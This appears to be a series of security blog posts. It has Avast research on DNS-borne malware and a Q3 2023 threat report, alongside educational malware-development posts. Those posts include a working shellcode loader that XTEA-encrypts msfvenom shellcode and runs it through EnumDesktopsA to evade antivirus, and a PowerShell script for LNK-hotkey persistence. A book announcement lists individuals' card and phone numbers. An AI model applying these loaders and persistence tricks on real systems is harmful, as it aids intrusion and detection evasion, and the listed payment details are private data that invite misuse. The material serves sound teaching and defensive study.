Additionally, Crackonosh also queries the DNS database as part of its update mechanism. To do so, Crackonosh reads a TXT record from the registered server’s response which contains a string like ajdbficadbbfC@@@FEpHw7Hn33. This string is then parsed and both an IP address as well as a port are derived from it. With this information, Crackonosh downloads a file wksprtcli.dll, containing the malware’s update routine.

Crackonosh decrypting the IP address from a string received in the TXT record

DNS protection in Avast

At Avast, both our free and paid versions protect users against DNS-based threat. This protection, available since version 23.8, includes:

  • Support for detecting C2 callbacks, data exfiltration, and payload delivery through the TXT records 
  • Support for detecting DNS C2 tunneling through the malicious NS servers 
  • Scanner supports scanning of A, AAAA, PTR, NX, TXT DNS records, in both directions

Our paid plan also contains an additional feature, called Real Site, which provides an encrypted connection between your web browser and Avast’s own DNS server to prevent hijacking. In other words, Real Site ensures that the displayed website is the authentic one.

Conclusion

Understanding DNS threats is crucial for defenders. We described how threat actors can leverage DNS to carry out specific attacks. We also provided examples of advanced malware families that use such techniques, distributing additional malware payloads, obfuscating the communication, tunneling their C2 commands through the network, and more. With Avast’s DNS scanning capabilities, we protect our users against these types of threats. 

The post Opening a new front against DNS-based threats appeared first on Avast Threat Labs.

Malware in the wild book.

13 December 2023 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

book

Alhamdulillah, I finished writing this book today. It was quite difficult. In sha Allah everything will be fine. O Allah, Lord of the Worlds, give strength to all children who are fighting for their lives.

Why is the book called that? MALWILD - means Malware in the Wild.

I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.

book

book

This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira. Also, thanks to everyone who is helping me through these difficult times. The proceeds from the sale of this book will be used to treat my friends:

Antipin

Antipin Eleazar, Scaphocephaly (Sagittal Craniosynostosis).

Djami

Khasenova Djamilya, Hepatoblastoma (liver cancer).

The book is divided into three logical chapters:

  • Malware dev tricks from source code leaks
  • Malware analysis examples
  • Helper scripts (most in python) for malware analysis

All material in the book is based on my posts from WebSec blog, HVCK magazine, MSSP Lab blog and my own articles.

If you have questions, you can ask them on my email.

My Github repo: https://github.com/cocomelonc

This book costs $32 but you can pay as much as you want. If you are unable to pay for it, I will send it to you for free.

If you cannot pay via Paypal:

btc

BTC address: 1MMDN38mheQn9h2Xa2H6hqMSfFYKW4nQUE

eth

ETH address: 0xf6ed40f61b603a4b2ac7c077034053df4f718f37

xmr

XMR address:
87E2aD7P7FGiQrUdznXPqtH7enHywV8qm5kMqKziKLz8ECWZENE8ZV5JWRTJhA3RVS5rxSogRsd7z7yX2DMn29dR3Vfnjbj

Binance email: [email protected]

VISA/Mastercard:

4400 4301 3484 3363 AIMAN ANTIPINA (cardholder)
4400 4302 1897 8630 ZHANAR KHASSENOVA (cardholder)

For Kaspi:

+7 700 270 7807 (Айман А.)
+7 701 242 6662 (Алия Ш.)

Charity fund +1 from Kazakhstan (Kaspi QR):

plus1

If you are unable to pay for it, I will send it to you for free.

MALWILD book

All examples are practical cases for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development: persistence - part 23. LNK files. Simple Powershell example.

10 December 2023 at 00:00

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the more interesting malware persistence tricks: via Windows LNK files.

LNK

According to Microsoft, an LNK file serves as a shortcut or “link” in Windows, providing a reference to an original file, folder, or application. For regular users, these files serve a meaningful purpose, facilitating file organization and workspace decluttering. However, from an attacker’s perspective, LNK files take on a different significance. They have been exploited in various documented attacks by APT groups and, to my knowledge, remain a viable option for activities such as phishing, establishing persistence, executing payloads.

Do you know that Windows shortcuts can be registered using a shortcut key in terms of execution? This is the main trick for malware persistence in this case.

practical example

Let’s say we have a “malware”. As usually, meow-meow messagebox application hack.c:

/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/12/10/malware-pers-23.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
  return 0;
}

And then, just create powershell script for create LNK file with the following properties:

# Define the path for the shortcut on the desktop
$shortcutPath = "$([Environment]::GetFolderPath('Desktop'))\Meow.lnk"

# Create a WScript Shell object
$wshell = New-Object -ComObject Wscript.Shell

# Create a shortcut object
$shortcut = $wshell.CreateShortcut($shortcutPath)

# Set the icon location for the shortcut
$shortcut.IconLocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"

# Set the target path and arguments for the shortcut
$shortcut.TargetPath = "Z:\2023-12-10-malware-pers-23\hack.exe"
$shortcut.Arguments = ""

# Set the working directory for the shortcut
$shortcut.WorkingDirectory = "Z:\2023-12-10-malware-pers-23"

# Set a hotkey for the shortcut (e.g., CTRL+W)
$shortcut.HotKey = "CTRL+W"

# Set a description for the shortcut
$shortcut.Description = "Not malicious, meow-meow malware"

# Set the window style for the shortcut (7 = Minimized window)
$shortcut.WindowStyle = 7

# Save the shortcut
$shortcut.Save()

# Optionally make the link invisible by adding 'Hidden' attribute
# (Get-Item $shortcutPath).Attributes += 'Hidden'

As you can see, the logic is pretty simple. We simply create a shortcut on the desktop that has a hotkey specified: CTRL+W. Of course, in real attack scenarios it could be something like CTRL+C, CTRL+V or CTRL+P, etc.

For example, if you create a shortcut for Paint, it does not have any hotkey specified:

pers

Explorer restricts shortcut support to commands beginning with CTRL+ALT. Additional sequences must be set programmatically through COM.

demo

Let’s go to see everything in action. First of all, compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

For checking correctness, run it:

.\hack.exe

pers

The just run our powershell script for persistence:

Get-Content pers.ps1 | PowerShell.exe -noprofile -

pers

As a result, Meow LNK file is created successfully.

If we look at its properties, everything is ok:

pers

Finally just run it and try to trigger CTRL+W hotkey:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and software like Emotet in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

Many thanks to my friend and colleague Anton Kuznetsov, he reminded me of this technique when he presented one of his most amazing talks.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1204.001
APT28
APT29
Kimsuky
Emotet
MSDN: Shell Link (.LNK) Binary File Format
Malware persistence: part 1
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 22: encrypt/decrypt payload via XTEA. Simple C++ example.

23 November 2023 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts (and at conferences in the last couple of months) I talked about the TEA encryption algorithm and how it affected the VirusTotal detection score.

Today I decided to look at an improved algorithm - XTEA.

XTEA

XTEA (eXtended TEA) is a symmetric block cipher designed to enhance the security of TEA (Tiny Encryption Algorithm). Developed by David Wheeler and Roger Needham, XTEA operates on 64-bit blocks with a 128-bit key and typically employs 64 rounds for encryption and decryption. The algorithm incorporates a Feistel network structure, utilizing a complex key schedule and a series of bitwise operations, shifts, and additions to iteratively transform plaintext into ciphertext.

XTEA addresses certain vulnerabilities identified in TEA, providing improved resistance against cryptanalysis while maintaining simplicity and efficiency. Notably, XTEA is free from patent restrictions, contributing to its widespread use in various applications where lightweight encryption is essential, such as embedded systems and resource-constrained environments.

pracical example

As usually, let’s implement this cipher in practice.

For simplicity I decided to implement 32-rounds:

#define KEY_SIZE 16
#define ROUNDS 32

The code is identical to the implementation of the TEA algorithm, just replace encryption and decryption logic:

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

As you can see, it’s implemented with the same delta = 0x9e3779b9.

For simplicity, I used running shellcode via EnumDesktopsA logic.

Finally, full source code is looks like this (hack.c):

/*
 * hack.c
 * with decrypt payload via XTEA
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/23/malware-cryptography-22.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define KEY_SIZE 16
#define ROUNDS 32

void xtea_encrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0, delta = 0x9e3779b9;

  for (int i = 0; i < ROUNDS; i++) {
    v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    sum += delta;
    v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

void xtea_decrypt(unsigned int *data, unsigned int *key) {
  unsigned int v0 = data[0], v1 = data[1];
  unsigned int sum = 0xC6EF3720, delta = 0x9e3779b9; // sum for decryption

  for (int i = 0; i < ROUNDS; i++) {
    v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    sum -= delta;
    v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
  }

  data[0] = v0;
  data[1] = v1;
}

int main() {
  unsigned int key[4] = {0x6d6f776d, 0x656f776d, 0x6f776d65, 0x776d656f};
  unsigned char my_payload[] =
    "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
    "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
    "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
    "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
    "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
    "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
    "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
    "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
    "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
    "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
    "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
    "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
    "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
    "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
    "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
    "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
    "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
    "\x2e\x2e\x5e\x3d\x00";

  int len = sizeof(my_payload);
  int pad_len = (len + 8 - (len % 8)) & 0xFFF8;

  unsigned int *padded = (unsigned int *)malloc(pad_len);
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, len);

  // encrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_encrypt(&padded[i], key);
  }

  printf("encrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  // decrypt the padded shellcode
  for (int i = 0; i < pad_len / sizeof(unsigned int); i += 2) {
    xtea_decrypt(&padded[i], key);
  }

  printf("decrypted:\n");
  for (int i = 0; i < pad_len; i++) {
    printf("\\x%02x", ((unsigned char *)padded)[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, sizeof(padded), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, pad_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  free(padded);
  return 0;
}

As you can see, first of all, before encrypting, we use padding via the NOP (\x90) instructions. For this example, use the meow-meow messagebox payload as usual.

demo

Let’s go to see this trick in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

As you can see, our decrypted shellcode is modified: padding \x90 is working as expected:

av-evasion

For correcntess, firstly I just print it without running “malicious” messagebox.

Then, compile and run it again with shellcode logic:

.\hack.exe

av-evasion

Upload our sample to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/29d9599e7c46f3680ed29428b7e6afa2061215e7f9baeedcb3fa03ddbde57774/detection

18 of of 72 AV engines detect our file as malicious as expected.

I think it is quite possible to achieve a bypass Kaspersky and Windows Defender (static analysis) in local lab.

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
XTEA
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Avast Q3/2023 Threat Report

16 November 2023 at 08:00

Stunning 50% Surge in Blocked Attacks, Resulting in 1 Billion Monthly Blocks

Foreword

As we delve into the Q3/2023 Threat Report, it is evident that the past quarter was not an ordinary one. Typically, vacation time ushers in a decrease in online activity, offering a brief respite from cyber threats. This year, however, the digital landscape took an unexpected turn. Despite reduced online presence, our detection systems recorded a jaw-dropping 50% increase in unique blocked attacks, leading to new all-time highs. On average, we blocked over one billion unique malware attacks each month during Q3/2023. The surge was driven by a substantial rise in web-based threats, particularly social engineering, and malvertising. Consequently, the overall risk ratio, representing the risk of being targeted and protected by us, now exceeds 30%. 

The adoption of AI by threat actors, particularly in deepfake financial scams, is accelerating. The nefarious use of deepfakes targeting TikTok users, often featuring public figures such as Elon Musk, has emerged as a growing concern. More on this can be found in our Featured story section. 

Furthermore, the threat landscape was marked by a doubling of the adware threat level, indicating a significant escalation in adware. South America, Africa, Southeast Europe, and East Asia bore the brunt of this surge. 

Apart from adware, there were significant developments in the realm of botnets. The FBI’s attempt to dismantle the Qakbot botnet led to a noticeable drop in activity. However, the operation does not appear to be entirely extinguished, as some associated threat actors have already begun to shift to alternative strains, such as DarkGate. 

In addition, information stealers recorded a substantial increase in risk ratio, with Ukraine (44%), the United States (21%), and India (16%) experiencing the most significant spikes. AgentTesla dominated this landscape, while the once-notorious Raccoon Stealer seems to be losing its momentum and receding from the forefront. 

Remote Access Trojans (RATs) also continue to be a growing trend. The increase of RATS, first observed in Q2/2023, continued in Q3/2023 primarily driven by the Remcos RAT and Warzone. Countries such as Portugal (148% increase), Poland (55%), and Slovakia (43%) have experienced a significant rise in attacks. The XWorm strain remains prolific, consistently releasing new versions and expanding its reach. 

Furthermore, the emergence of a new vulnerability, CVE-2023-38831, in the popular WinRAR software caught the attention of threat actors, including APTs, RATs, and malware downloaders. Given the software’s widespread use, these exploits are likely to persist, emphasizing the importance of keeping software updated. For more on these vulnerabilities, delve into our Exploits section. 

The domain of scams has undergone significant changes, with dating scams witnessing a 34% increase quarter-on-quarter. Belgium, Germany, Canada, and the United States are among the top targets for these scammers. To compound the challenge, our researchers uncovered a new threat, which we have named Love-GPT. This AI-driven tool assists threat actors in creating realistic personas, amplifying the success of their fraudulent activities. 

Phishing attacks have also experienced a 14% quarterly increase, with threat actors innovatively utilizing IPFS (InterPlanetary File System) to bypass conventional defense mechanisms. Australia, in particular, saw a substantial surge in targeted email scams. 

Finally, the mobile threat landscape remains dynamic, marked by espionage tactics. Spyware mimicking a missile warning application used in Israel emerged in response to escalating tensions between Israel and Palestine, with the aim of stealing victim data. Also, the introduction of Invisible Adware, with over two million downloads from the Google PlayStore, contributed to the rising risk of mobile adware. Brazil, India, and Argentina remain the top-affected countries. Also, the gap left by the takedown of FluBot in mobile banking trojans is gradually being filled. This quarter saw the detection of new and resurrected bankers, including Xenomorph, GoldDigger, and SpyNote. Turkey, Spain, and France continue to be the prime targets for attackers in this category. Popular messenger application mods, such as Telegram, Signal, and WhatsApp, continue to be exploited to serve spyware. Additionally, SpyLoans continues to spread on PlayStore, posing extortion threats to vulnerable victims. 

In conclusion, Q3/2023 has unveiled an unprecedented level of cyber threats. The surge in threat activity during a season that typically sees reduced online presence is a cause for concern. As we move into the winter season, traditionally marked by higher threat levels, we are watchful to see if this trend continues to escalate. 

Thank you for your continued trust in Avast. Stay safe and secure.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections: Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, with a specific emphasis on web-related threats, and Mobile-related threats, where we describe the attacks focusing on Android and iOS operating systems. 

We use the term “risk ratio” in this report to denote the severity of specific threats. It is calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month. 

A blocked attack is defined as a unique combination of the protected user and a blocked threat identifier within the specified period. 

In this Threat Report, we started with a more fine-grained labelling of various Scam threat types, which resulted in a separate tracking of e.g., malvertising compared to the previous reports. Furthermore, we have included some more threat data sources to provide even better threat landscape visibility. 

Featured Story: TikTok Finance Scams: An Escalating Threat Fueled by Artificial Intelligence

TikTok, known for its virality and rapidly circulating digital trends, has emerged as a fertile ground for financial scams, specifically those involving cryptocurrency. The platform’s wide reach, coupled with its appeal to younger audiences, presents an attractive prospect for malicious actors aiming to exploit unsuspecting users. 

The scams operate under a facade of legitimacy, often initiated with a deepfake video of a reputable figure endorsing a cryptocurrency exchange. Users are enticed to sign up on the purported exchange using a promo code, which allegedly credits their account with a significant amount of bitcoin. However, upon attempting to withdraw these funds, the platform mandates a preliminary transfer of bitcoin to “verify” the user’s account. Unwittingly, victims who comply with this requirement find that not only is the promised bitcoin unattainable, but also any transferred funds to the platform are irretrievably lost to the cybercriminals orchestrating the scam. 

At the heart of these scams is the illicit utilization of Artificial Intelligence (AI) to create deepfake videos. Notorious personalities such as Elon Musk, Mr. Beast, Sam Altman, Warren Buffet, Joe Rogan, Donald Trump, and Tucker Carlson are impersonated in fraudulent endorsements of cryptocurrency exchanges. These fabricated endorsements lure users with promises of substantial Bitcoin rewards, setting the stage for financial deception.

Samples of videos circulating on TikTok impersonating Elon Musk and Donald Trump

The malicious use of AI, particularly deepfake technology, underscores the escalating sophistication of cyber adversaries. By creating convincing counterfeit videos of reputable individuals, scammers successfully manipulate public trust. This exploitation not only exhibits a concerning trend of cyber threats on social media platforms but also exemplifies the potential of AI in augmenting the effectiveness of financial scams. Deepfake technology, once the domain of high-skilled individuals, is becoming increasingly accessible, making it all the more difficult to discern real endorsements from fabricated ones. 

Initially confined to English-speaking audiences, these scams have transcended linguistic barriers, making inroads into non-English speaking regions. Recent manifestations of these scams have been observed in various languages including Spanish, German, Italian and French, reflecting a broadening threat landscape. The multilingual expansion of these scams signifies a global threat and underscores the necessity for multinational cooperation in tackling these AI-driven scams. 

Screenshots of scam videos in Italian and French circulating on TikTok 

Though TikTok is the primary stage for these scams, evidence suggests a multi-platform approach by malicious actors. Platforms like YouTube have also been utilized to disseminate scam content, indicating a broader digital footprint and an extended reach of these deceptive practices. TikTok alone has more than 1 billion monthly active users, which makes the surface attack huge. When we started blocking access to these scam websites, we protected several thousand users in a matter of a few days. 

The TikTok scams are not isolated incidents but rather indicators of a growing trend of AI-driven cyber threats. The ease of spreading misinformation through deepfake technology, coupled with the allure of quick financial gains, is a potent combination that may pave the way for more sophisticated scams in the future. The potential ramifications extend beyond individual economic loss to a broader erosion of trust in digital platforms and notable personalities.

Luis Corrons, Security Evangelist

Desktop-Related Threats 

Advanced Persistent Threats (APTs)

An Advanced Persistent Threat (APT) is a type of cyberattack that is conducted by highly skilled and determined hackers who have the resources and expertise to penetrate a target’s network and maintain a long-term presence undetected. 

APT groups are getting increasingly abusing imperfect validation processes for acquiring a driver signature. Signed drivers, typically issued by reputable vendors, are presumed to be safe and authorized for use within an operating system. APTs, by subverting this trust, not only bypass detection mechanisms but also gain stealthy and privileged access to a targeted system, effectively rendering traditional security protocols obsolete. This daring approach challenges the very foundation of cybersecurity, highlighting the need for continuous innovation and vigilance in defending against evolving APT threats. 

In early June 2023, we discovered unknown signed drivers by Microsoft. These signed drivers had been distributed by the NSecRTS.exe signed binary, attributed to Shandong Anzai Information Technology Co., Ltd. It’s worth noting that NSecRTS is recognized as a regular monitoring software and has been mentioned by the QiAnXin Virus Response Center

Furthermore, we identified that the NSecRTS.exe was dropping a driver signed by Microsoft. Upon conducting an extensive investigation, we uncovered multiple malicious activities associated with this driver. One of them was injecting custom RAT in legitimate processes. 

Our observations led us to identify victims in the Philippines and Thailand. Despite gathering extensive information, we were unable to definitively attribute the attacks to a specific entity.  

Active geopolitical conflicts often attract the attention of APTs due to the volatile and chaotic nature of such environments. These groups, which are often state-sponsored and highly organized, see conflicts as opportunities to exploit the instability for their own strategic gains.  The fog of war provides a convenient cover for their activities, allowing them to leverage the chaos to further their agendas, be it political, economic, or military. Notably, APTs have continued to leverage the ongoing war in Ukraine, and additional conflicts, such as the one in Nagorno-Karabakh, have emerged on their radar. 

One of the go-to infection vectors for the APT groups this quarter was CVE-2023-38831 which is a vulnerability in WinRAR allowing an attacker to run arbitrary code on the victim’s machine. In many cases victims receive a malicious archive as an attachment to a phishing email. When opening the archive with a vulnerable version of WinRAR, the victim is unwillingly executing malicious code which might lead to an infection of the machine. We could see it being abused by multiple threat actors including attacks targeting Ukrainian government institutions, military, and governments in countries like Malasia, Vietnam, Philippines and more.  

Infamous entities such as Lazarus, MustangPanda, and APT41 remain relentless in their global campaigns, consistently refining their tactics and expanding their malware arsenal. These groups continually explore novel techniques, introducing fresh tools and incorporating languages like Nim and Rust into their toolkits.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher

Adware

Adware is considered unwanted if installed without the user’s consent, tracks browsing behavior, redirects web traffic, or collects personal information for malicious purposes such as identity theft. 

Adware is becoming popular due to the possibilities of monetization and of spreading potentially unwanted programs (PUP) and malware. Although malware spreading via adware is not the primary method to infect victims’ machines, we have focused on adware detections in Q3/2023 to monitor this potential threat. 

The results of more precise adware detections can be seen in the chart below. This quartile shows an increase of adware activities that is caused by the SocialBar adware. 

Global Avast risk ratio from adware for Q2/2023 and Q3/2023

The new detections help us to specify a global overview. Our telemetry reports the four most active regions in point of adware threats; namely, South America, Africa, Southeast Europe, and East Asia. See the map below. 

Map showing the global risk ratio for Adware in Q3/2023 and Q2/2023

Adware Share 

The new detections reduced the ratio of unknown strains from 33% to 6%. The SocialBar is the adware market leader in Q3/2023 with 58%. The list below illustrates the most used ad servers with funny DNS records: 

  • hissedassessmentmistake[.]com 
  • trustworthyturnstileboyfriend[.]com 
  • happeningurinepomposity[.]com 
  • disgracefulforeword[.]com 
  • secondquaver[.]com 
  • usetalentedpunk[.]com 
  • lyricsgrand[.]com 

The rest of the shares are allocated to other adware strains as follows: 

  • MudOrange (7%) 
  • DealPly (3%) 
  • RelevantKnowledge (2%) 
  • Neoreklami (2%) 
  • MicroTag (2%) 

Martin Chlumecký, Malware Researcher

Bots 

Bots are threats mainly interested in securing long-term access to devices with the aim of utilizing their resources, be it remote control, spam distribution, or denial-of-service (DoS) attacks. 

Probably the most impactful change in the botnet landscape occurred at the end of August – the FBI-led attempt to take down and dismantle the Qakbot botnet. Interestingly, the target was not just its Command and Control (C&C) infrastructure, but they also attempted to disconnect infected clients from the botnet, effectively making it harder to resurrect the botnet under a new infrastructure. There is already an apparent drop in the number of clients attempted to be recruited into the botnet which has dropped to one fifth of the “usual” value during August. While this is good news from the botnet perspective, this has not eliminated Qakbot-associated spam delivery capabilities. The threat actor associated with Qakbot distribution (TA577) began to distribute DarkGate as one of their phishing payloads soon after Qakbot’s takedown. 

Number of users protected from Qakbot throughout Q3/2023

We are keeping our eye on the threat group NoName056(16) and their DDosia project. Its number of members has exceeded 13,000 users by the end of September. Based on the numbers from the previous quarter, they managed to gain some momentum with a steady increase of approximately 1,000 members every month. Their modus operandi remains the same – DDoS attacks, accusations of Russophobia and boasting about their accomplishments. It is quite unfortunate that the usage of misleading terminology by mainstream media, such as mislabeling DDoS attacks as hacks or labeling their perpetrators as hackers, sometimes unwittingly inflates the public perception of such attacks, providing much desired media coverage boost to the perpetrators. This is especially true for Internet activist groups where media coverage also boosts the group’s credit in the community, further fueling their potential recruitment pool.

Number of DDosia members in 2023

As for targets, most of the targeted top-level domains (TLDs) were .pl (Poland, 15%), .lt (Lithuania, 11%), and .it (Italy, 9%). The former two are not a shocking surprise as there are active involvements in these regions with the Ukraine-Russia conflict. In case of Italy, the group seemed to react to Joe Biden’s meeting with Italian PM Giorgia Meloni. 

NoName057(16)’s comment on Joe Biden’s meeting with Italian PM Georgia Meloni

Financial institutions were the most common target this quarter, presumably due to the potential financial damage and chance of getting significantly better press coverage. As a side-note – they seem to experiment with photo and graphic styles. They started to experiment with the replacement of a photo of a bear with a cartoonish image of a bear stylized as a hoodie-clad hacker (31st July) or a member of an army (from the end of September on). 

Despite the Qakbot’s takedown, the global risk ratio has slightly increased – partly due to it happening in the middle of the quarter and partly by increased activity of other botnets. We have seen a significant increase in the activity of Tofsee (+41%), Emotet (+25%), and Trickbot (+13%) botnets. As for other families, our telemetry indicates a decline in most of the other families. 

Global risk ratio in Avast’s user base regarding bots in Q3/2023

Adolf Středa, Malware Researcher

Coinminers

Coinminers are programs that use a device’s hardware resources to verify cryptocurrency transactions and earn cryptocurrency as compensation. However, in the world of malware, coinminers silently hijack a victim’s computer resources to generate cryptocurrency for an attacker. Regardless of whether a coinminer is legitimate or malware, it’s important to follow our guidelines. 

When compared to last quarter, in Q3/2023 we observed another 4% decrease in the risk ratio in the coinmining space. This is a continuing downward trend for coinmining threats.

Global risk ratio in Avast’s user base regarding coinminers in Q3/2023

During Q3/2023, users in Serbia again faced the highest risk of encountering a coinminer, a regional trend we have seen over the past few quarters. However, with a risk ratio of 4.28%, this is drop in risk by 26% and a record low. A similar situation is seen in other higher-risk countries, including Madagascar with 3.73% risk ratio, Montenegro with 3.29% risk ratio, and Bosnia and Herzegovina with 2.64% risk ratio.

Global risk ratio for information stealers in Q3/2023

Unfortunately, the market share increased for XMRig where we measured a 30% increase, now accounting for 23.65% of the total coinmining market share. CoinBitMiner also became more popular, increasing its malware market share by 10%, accounting for 2.02% of the share. Other web miners saw a slight decrease by 5%, now accounting for a combined 61.46% market share. Other strains, such as FakeKMSminer, VMiner, and CoinHelper, experienced rather big decrease in activity, with 27%, 62%, and 29% decrease respectively. 

The most common coinminers with their market share in Q2/2023 were: 

  • Web miners (61.46%) 
  • XMRig (23.65%) 
  • CoinBitMiner (2.02%) 
  • FakeKMSminer (1.58%) 
  • NeoScrypt (1.03%) 
  • CoinHelper (0.77%) 
  • VMiner (0.73%)

Jan Rubín, Malware Researcher

Information Stealers

Information stealers are dedicated to stealing anything of value from the victim’s device. Typically, they focus on stored credentials, cryptocurrencies, browser sessions/cookies, browser passwords and private documents. 

The common belief that “I have nothing to hide, I don’t need to protect my data” is fundamentally flawed. Even individuals who believe their data lacks value may find out that, at scale, everything may become valuable. This kind of data can be monetized via sales on underground forums, used for further attacks including more targeted scams and phishing (so called spear-phishing), leveraged for blackmailing, and more. Stay safe out there. 

In Q3/2023, we observed an overall 6% decrease in information stealers activity in comparison to the previous quarter, slowing down the decreasing trend we have been recently observing. 

The biggest change this quarter is that, according to our data, Raccoon Stealer experienced a huge decrease in activity this quarter with a 72% drop in market share. On the other hand, some other strains increased their presence significantly, namely AgentTesla, Fareit, and SnakeKeylogger, balancing the scales.

Global risk ratio in Avast’s user base regarding information stealers in Q3/2023

Geographical distribution stayed consistent between Q2 and Q3/2023. Countries where we have more significant userbase having the highest risk ratio are Pakistan (2.47%), Turkey (2.05%), and Egypt (1.90%). Thankfully, the risk ratio in these countries decreased compared to the previous quarter by 5%, 7%, and 14%, respectively. 

